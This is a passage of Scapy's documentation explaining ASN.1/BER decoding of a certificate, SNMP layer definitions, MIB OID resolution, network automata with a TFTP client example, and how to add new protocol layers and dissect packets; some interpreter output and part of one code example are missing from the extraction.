VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0 ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0 ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/ ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5 ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41 ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg= ... """.decode("base64") >>> (dcert,remain) = BERcodec_Object.dec(cert) Traceback (most recent call last): File "", line 1, in ? File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2094, in do_dec return codec.dec(s,context,safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2218, in do_dec o,s = BERcodec_Object.dec(s, context, safe) File "/usr/bin/scapy", line 2099, in dec return cls.do_dec(s, context, safe) File "/usr/bin/scapy", line 2092, in do_dec raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s) BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...'] ### Already decoded ### [[]] ### Remaining ### '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509) >>> dcert.show() # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT0: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SET: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_X509_CONT3: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: # ASN1_SEQUENCE: \xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01 ASN.1 layers ^^^^^^^^^^^^ While this may be nice, it's only an ASN.1 encoder/decoder. Nothing related to Scapy yet. ASN.1 fields ~~~~~~~~~~~~ Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal ``Packet`` object, in a flat flavor (ex: to access the version field of a SNMP packet, you don't need to know how many containers wrap it). Each ASN.1 field is linked to an ASN.1 object through its tag. ASN.1 packets ~~~~~~~~~~~~~ ASN.1 packets inherit from the Packet class. Instead of a ``fields_desc`` list of fields, they define ``ASN1_codec`` and ``ASN1_root`` attributes. The first one is a codec (for example: ``ASN1_Codecs.BER``), the second one is a tree compounded with ASN.1 fields. A complete example: SNMP ------------------------ SNMP defines new ASN.1 objects. We need to define them:: class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): name="SNMP" PDU_GET = 0xa0 PDU_NEXT = 0xa1 PDU_RESPONSE = 0xa2 PDU_SET = 0xa3 PDU_TRAPv1 = 0xa4 PDU_BULK = 0xa5 PDU_INFORM = 0xa6 PDU_TRAPv2 = 0xa7 These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic:: class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_GET class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): tag = ASN1_Class_SNMP.PDU_NEXT # [...] Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other. The ASN.1 fields are also trivial:: class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_GET class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_SNMP.PDU_NEXT # [...] Now, the hard part, the ASN.1 packet:: SNMP_error = { 0: "no_error", 1: "too_big", # [...] } SNMP_trap_types = { 0: "cold_start", 1: "warm_start", # [...] } class SNMPvarbind(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"), ASN1F_field("value",ASN1_NULL(0)) ) class SNMPget(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) class SNMPnext(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0), ASN1F_enum_INTEGER("error",0, SNMP_error), ASN1F_INTEGER("error_index",0), ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) ) # [...] class SNMP(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_SEQUENCE( ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}), ASN1F_STRING("community","public"), ASN1F_CHOICE("PDU", SNMPget(), SNMPget, SNMPnext, SNMPresponse, SNMPset, SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) ) def answers(self, other): return ( isinstance(self.PDU, SNMPresponse) and ( isinstance(other.PDU, SNMPget) or isinstance(other.PDU, SNMPnext) or isinstance(other.PDU, SNMPset) ) and self.PDU.id == other.PDU.id ) # [...] bind_layers( UDP, SNMP, sport=161) bind_layers( UDP, SNMP, dport=161) That wasn't that much difficult. If you think that can't be that short to implement SNMP encoding/decoding and that I may may have cut too much, just look at the complete source code. Now, how to use it? As usual:: >>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5), ... SNMPvarbind(oid="3.2.1",value="hello")])) >>> a.show() ###[ SNMP ]### version= v3 community= 'public' \PDU\ |###[ SNMPget ]### | id= 0 | error= no_error | error_index= 0 | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= '1.2.3' | | value= 5 | |###[ SNMPvarbind ]### | | oid= '3.2.1' | | value= 'hello' >>> hexdump(a) 0000 30 2E 02 01 03 04 06 70 75 62 6C 69 63 A0 21 02 0......public.!. 0010 01 00 02 01 00 02 01 00 30 16 30 07 06 02 2A 03 ........0.0...*. 0020 02 01 05 30 0B 06 02 7A 01 04 05 68 65 6C 6C 6F ...0...z...hello >>> send(IP(dst="1.2.3.4")/UDP()/SNMP()) . Sent 1 packets. >>> SNMP(str(a)).show() ###[ SNMP ]### version= community= \PDU\ |###[ SNMPget ]### | id= | error= | error_index= | \varbindlist\ | |###[ SNMPvarbind ]### | | oid= | | value= | |###[ SNMPvarbind ]### | | oid= | | value= Resolving OID from a MIB ------------------------ About OID objects ^^^^^^^^^^^^^^^^^ OID objects are created with an ``ASN1_OID`` class:: >>> o1=ASN1_OID("2.5.29.10") >>> o2=ASN1_OID("1.2.840.113549.1.1.1") >>> o1,o2 (, ) Loading a MIB ^^^^^^^^^^^^^ Scapy can parse MIB files and become aware of a mapping between an OID and its name:: >>> load_mib("mib/*") >>> o1,o2 (, ) The MIB files I've used are attached to this page. Scapy's MIB database ^^^^^^^^^^^^^^^^^^^^ All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name :: >>> conf.mib.sha1_with_rsa_signature '1.2.840.113549.1.1.5' or to resolve an OID:: >>> conf.mib._oidname("1.2.3.6.1.4.1.5") 'enterprises.5' It is even possible to graph it:: >>> conf.mib._make_graph() Automata ======== Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose you way to go. An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions and from transitions to states and actions. From a programmer's point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work. First example ------------- Let's begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well. :: class HelloWorld(Automaton): @ATMT.state(initial=1) def BEGIN(self): print "State=BEGIN" @ATMT.condition(BEGIN) def wait_for_nothing(self): print "Wait for nothing..." raise self.END() @ATMT.action(wait_for_nothing) def on_nothing(self): print "Action on 'nothing' condition" @ATMT.state(final=1) def END(self): print "State=END" In this example, we can see 3 decorators: * ``ATMT.state`` that is used to indicate that a method is a state, and that can have initial, final and error optional arguments set to non-zero for special states. * ``ATMT.condition`` that indicate a method to be run when the automaton state reaches the indicated state. The argument is the name of the method representing that state * ``ATMT.action`` binds a method to a transition and is run when the transition is taken. Running this example gives the following result:: >>> a=HelloWorld() >>> a.run() State=BEGIN Wait for nothing... Action on 'nothing' condition State=END This simple automaton can be described with the following graph: .. image:: graphics/ATMT_HelloWorld.* The graph can be automatically drawn from the code with:: >>> HelloWorld.graph() Changing states --------------- The ``ATMT.state`` decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition. As an example, let's consider the following state:: @ATMT.state() def MY_STATE(self, param1, param2): print "state=MY_STATE. param1=%r param2=%r" % (param1, param2) This state will be reached with the following code:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type) Let's suppose we want to bind an action to this transition, that will also need some parameters:: @ATMT.action(received_ICMP) def on_ICMP(self, icmp_type, icmp_code): self.retaliate(icmp_type, icmp_code) The condition should become:: @ATMT.receive_condition(ANOTHER_STATE) def received_ICMP(self, pkt): if ICMP in pkt: raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code) Real example ------------ Here is a real example take from Scapy. It implements a TFTP client that can issue read requests. .. image:: graphics/ATMT_TFTP_read.* :: class TFTP_read(Automaton): def parse_args(self, filename, server, sport = None, port=69, **kargs): Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid) ) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize=512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = "" self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP() self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet") self.send(self.last_packet) self.awaiting=1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.action(receive_data) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting) self.send(self.last_packet) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): recvd = pkt[Raw].load self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self,pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() #END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res It can be run like this, for instance:: >>> TFTP_read("my_file", "192.168.1.128").run() Detailed documentation ---------------------- Decorators ^^^^^^^^^^ Decorator for states ~~~~~~~~~~~~~~~~~~~~ States are methods decorated by the result of the ``ATMT.state`` function. It can take 3 optional parameters, ``initial``, ``final`` and ``error``, that, when set to ``True``, indicate that the state is an initial, final or error state. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state() def SOME_STATE(self): pass @ATMT.state(final=1) def END(self): return "Result of the automaton: 42" @ATMT.state(error=1) def ERROR(self): return "Partial result, or explanation" # [...] Decorators for transitions ~~~~~~~~~~~~~~~~~~~~~~~~~~ Transitions are methods decorated by the result of one of ``ATMT.condition``, ``ATMT.receive_condition``, ``ATMT.timeout``. They all take as argument the state method they are related to. ``ATMT.timeout`` also have a mandatory ``timeout`` parameter to provide the timeout value in seconds. ``ATMT.condition`` and ``ATMT.receive_condition`` have an optional ``prio`` parameter so that the order in which conditions are evaluated can be forced. Default priority is 0. Transitions with the same priority level are called in an undetermined order. When the automaton switches to a given state, the state's method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like ``raise self.MY_NEW_STATE()``). First, right after the state's method returns, the ``ATMT.condition`` decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ``ATMT.receive_condition`` decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ``ATMT.timeout`` decorated method is called. :: class Example(Automaton): @ATMT.state() def WAITING(self): pass @ATMT.condition(WAITING) def it_is_raining(self): if not self.have_umbrella: raise self.ERROR_WET() @ATMT.receive_condition(WAITING, prio=1) def it_is_ICMP(self, pkt): if ICMP in pkt: raise self.RECEIVED_ICMP(pkt) @ATMT.receive_condition(WAITING, prio=2) def it_is_IP(self, pkt): if IP in pkt: raise self.RECEIVED_IP(pkt) @ATMT.timeout(WAITING, 10.0) def waiting_timeout(self): raise self.ERROR_TIMEOUT() Decorator for actions ~~~~~~~~~~~~~~~~~~~~~ Actions are methods that are decorated by the return of ``ATMT.action`` function. This function takes the transition method it is bound to as first parameter and an optionnal priority ``prio`` as a second parameter. Default priority is 0. An action method can be decorated many times to be bound to many transitions. :: class Example(Automaton): @ATMT.state(initial=1) def BEGIN(self): pass @ATMT.state(final=1) def END(self): pass @ATMT.condition(BEGIN, prio=1) def maybe_go_to_end(self): if random() > 0.5: raise self.END() @ATMT.condition(BEGIN, prio=2) def certainly_go_to_end(self): raise self.END() @ATMT.action(maybe_go_to_end) def maybe_action(self): print "We are lucky..." @ATMT.action(certainly_go_to_end) def certainly_action(self): print "We are not lucky..." @ATMT.action(maybe_go_to_end, prio=1) @ATMT.action(certainly_go_to_end, prio=1) def always_action(self): print "This wasn't luck!..." The two possible outputs are:: >>> a=Example() >>> a.run() We are not lucky... This wasn't luck!... >>> a.run() We are lucky... This wasn't luck!... Methods to overload ^^^^^^^^^^^^^^^^^^^ Two methods are hooks to be overloaded: * The ``parse_args()`` method is called with arguments given at ``__init__()`` and ``run()``. Use that to parametrize the behaviour of your automaton. * The ``master_filter()`` method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition. scapy-2.2.0/doc/scapy/build_dissect.rst0000644000175000017500000011144111172130104016163 0ustar pbipbi******************** Adding new protocols ******************** Adding new protocol (or more correctly: a new *layer*) in Scapy is very easy. All the magic is in the fields. If the fields you need are already there and the protocol is not too brain-damaged, this should be a matter of minutes. Simple example ============== A layer is a subclass of the ``Packet`` class. All the logic behind layer manipulation is hold by the ``Packet`` class and will be inherited. A simple layer is compounded by a list of fields that will be either concatenated when assembling the layer or dissected one by one when disassembling a string. The list of fields is held in an attribute named ``fields_desc``. Each field is an instance of a field class:: class Disney(Packet): name = "DisneyPacket " fields_desc=[ ShortField("mickey",5), XByteField("minnie",3) , IntEnumField("donald" , 1 , { 1: "happy", 2: "cool" , 3: "angry" } ) ] In this example, our layer has three fields. The first one is an 2 byte integer field named ``mickey`` and whose default value is 5. The second one is a 1 byte integer field named ``minnie`` and whose default value is 3. The difference between a vanilla ``ByteField`` and a ``XByteField`` is only the fact that the prefered human representation of the field’s value is in hexadecimal. The last field is a 4 byte integer field named ``donald``. It is different from a vanilla ``IntField`` by the fact that some of the possible values of the field have litterate representations. For example, if it is worth 3, the value will be displayed as angry. Moreover, if the "cool" value is assigned to this field, it will understand that it has to take the value 2. If your protocol is as simple as this, it is ready to use:: >>> d=Disney(mickey=1) >>> ls(d) mickey : ShortField = 1 (5) minnie : XByteField = 3 (3) donald : IntEnumField = 1 (1) >>> d.show() ###[ Disney Packet ]### mickey= 1 minnie= 0x3 donald= happy >>> d.donald="cool" >>> str(d) ’\x00\x01\x03\x00\x00\x00\x02’ >>> Disney( ) This chapter explains how to build a new protocol within Scapy. There are two main objectives: * Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals. * Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it. Layers ====== Before digging into dissection itself, let us look at how packets are organized. :: >>> p = IP()/TCP()/"AAAA" >>> p >> >>> p.summary() 'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw' We are interested in 2 "inside" fields of the class ``Packet``: * ``p.underlayer`` * ``p.payload`` And here is the main "trick". You do not care about packets, only about layers, stacked one after the other. One can easily access a layer by its name: ``p[TCP]`` returns the ``TCP`` and followings layers. This is a shortcut for ``p.getlayer(TCP)``. .. note:: There is an optional argument (``nb``) which returns the ``nb`` th layer of required protocol. Let's put everything together now, playing with the ``TCP`` layer:: >>> tcp=p[TCP] >>> tcp.underlayer >> >>> tcp.payload As expected, ``tcp.underlayer`` points to the beginning of our IP packet, and ``tcp.payload`` to its payload. Building a new layer -------------------- .. index:: single: Layer VERY EASY! A layer is mainly a list of fields. Let's look at ``UDP`` definition:: class UDP(Packet): name = "UDP" fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] And you are done! There are many fields already defined for convenience, look at the doc``^W`` sources as Phil would say. So, defining a layer is simply gathering fields in a list. The goal is here to provide the efficient default values for each field so the user does not have to give them when he builds a packet. The main mechanism is based on the ``Field`` structure. Always keep in mind that a layer is just a little more than a list of fields, but not much more. So, to understanding how layers are working, one needs to look quickly at how the fields are handled. Manipulating packets == manipulating its fields ----------------------------------------------- .. index:: single: i2h() single: i2m() single: m2i() A field should be considered in different states: - ``i`` (nternal) : this is the way Scapy manipulates it. - ``m`` (achine) : this is where the truth is, that is the layer as it is on the network. - ``h`` (uman) : how the packet is displayed to our human eyes. This explains the mysterious methods ``i2h()``, ``i2m()``, ``m2i()`` and so on available in each field: they are conversion from one state to another, adapted to a specific use. Other special functions: - ``any2i()`` guess the input representation and returns the internal one. - ``i2repr()`` a nicer ``i2h()`` However, all these are "low level" functions. The functions adding or extracting a field to the current layer are: - ``addfield(self, pkt, s, val)``: copy the network representation of field ``val`` (belonging to layer ``pkt``) to the raw string packet ``s``:: class StrFixedLenField(StrField): def addfield(self, pkt, s, val): return s+struct.pack("%is"%self.length,self.i2m(pkt, val)) - ``getfield(self, pkt, s)``: extract from the raw packet ``s`` the field value belonging to layer ``pkt``. It returns a list, the 1st element is the raw packet string after having removed the extracted field, the second one is the extracted field itself in internal representation:: class StrFixedLenField(StrField): def getfield(self, pkt, s): return s[self.length:], self.m2i(pkt,s[:self.length]) When defining your own layer, you usually just need to define some ``*2*()`` methods, and sometimes also the ``addfield()`` and ``getfield()``. Example: variable length quantities ----------------------------------- There is way to represent integers on a variable length quantity often used in protocols, for instance when dealing with signal processing (e.g. MIDI). Each byte of the number is coded with the MSB set to 1, except the last byte. For instance, 0x123456 will be coded as 0xC8E856:: def vlenq2str(l): s = [] s.append( hex(l & 0x7F) ) l = l >> 7 while l>0: s.append( hex(0x80 | (l & 0x7F) ) ) l = l >> 7 s.reverse() return "".join(map( lambda(x) : chr(int(x, 16)) , s)) def str2vlenq(s=""): i = l = 0 while i>> f = FOO(data="A"*129) >>> f.show() ###[ FOO ]### len= 0 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' Here, ``len`` is not yet computed and only the default value are displayed. This is the current internal representation of our layer. Let's force the computation now:: >>> f.show2() ###[ FOO ]### len= 129 data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The method ``show2()`` displays the fields with their values as they will be sent to the network, but in a human readable way, so we see ``len=129``. Last but not least, let us look now at the machine representation:: >>> str(f) '\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' The first 2 bytes are ``\x81\x01``, which is 129 in this encoding. Dissecting ========== .. index:: dissecting Layers are only list of fields, but what is the glue between each field, and after, between each layer. These are the mysteries explain in this section. The basic stuff --------------- The core function for dissection is ``Packet.dissect()``:: def dissect(self, s): s = self.pre_dissect(s) s = self.do_dissect(s) s = self.post_dissect(s) payl,pad = self.extract_padding(s) self.do_dissect_payload(payl) if pad and conf.padding: self.add_payload(Padding(pad)) When called, ``s`` is a string containing what is going to be dissected. ``self`` points to the current layer. :: >>> p=IP("A"*20)/TCP("B"*32) WARNING: bad dataofs (4). Assuming dataofs=5 >>> p >> ``Packet.dissect()`` is called 3 times: 1. to dissect the ``"A"*20`` as an IPv4 header 2. to dissect the ``"B"*32`` as a TCP header 3. and since there are still 12 bytes in the packet, they are dissected as "``Raw``" data (which is some kind of default layer type) For a given layer, everything is quite straightforward: - ``pre_dissect()`` is called to prepare the layer. - ``do_dissect()`` perform the real dissection of the layer. - ``post_dissection()`` is called when some updates are needed on the dissected inputs (e.g. deciphering, uncompressing, ... ) - ``extract_padding()`` is an important function which should be called by every layer containing its own size, so that it can tell apart in the payload what is really related to this layer and what will be considered as additional padding bytes. - ``do_dissect_payload()`` is the function in charge of dissecting the payload (if any). It is based on ``guess_payload_class()`` (see below). Once the type of the payload is known, the payload is bound to the current layer with this new type:: def do_dissect_payload(self, s): cls = self.guess_payload_class(s) p = cls(s, _internal=1, _underlayer=self) self.add_payload(p) At the end, all the layers in the packet are dissected, and glued together with their known types. Dissecting fields ----------------- The method with all the magic between a layer and its fields is ``do_dissect()``. If you have understood the different representations of a layer, you should understand that "dissecting" a layer is building each of its fields from the machine to the internal representation. Guess what? That is exactly what ``do_dissect()`` does:: def do_dissect(self, s): flist = self.fields_desc[:] flist.reverse() while s and flist: f = flist.pop() s,fval = f.getfield(self, s) self.fields[f] = fval return s So, it takes the raw string packet, and feed each field with it, as long as there are data or fields remaining:: >>> FOO("\xff\xff"+"B"*8) When writing ``FOO("\xff\xff"+"B"*8)``, it calls ``do_dissect()``. The first field is VarLenQField. Thus, it takes bytes as long as their MSB is set, thus until (and including) the first '``B``'. This mapping is done thanks to ``VarLenQField.getfield()`` and can be cross-checked:: >>> vlenq2str(2097090) '\xff\xffB' Then, the next field is extracted the same way, until 2097090 bytes are put in ``FOO.data`` (or less if 2097090 bytes are not available, as here). If there are some bytes left after the dissection of the current layer, it is mapped in the same way to the what the next is expected to be (``Raw`` by default):: >>> FOO("\x05"+"B"*8) > Hence, we need now to understand how layers are bound together. Binding layers -------------- One of the cool features with Scapy when dissecting layers is that is try to guess for us what the next layer is. The official way to link 2 layers is using ``bind_layers()``: For instance, if you have a class ``HTTP``, you may expect that all the packets coming from or going to port 80 will be decoded as such. This is simply done that way:: bind_layers( TCP, 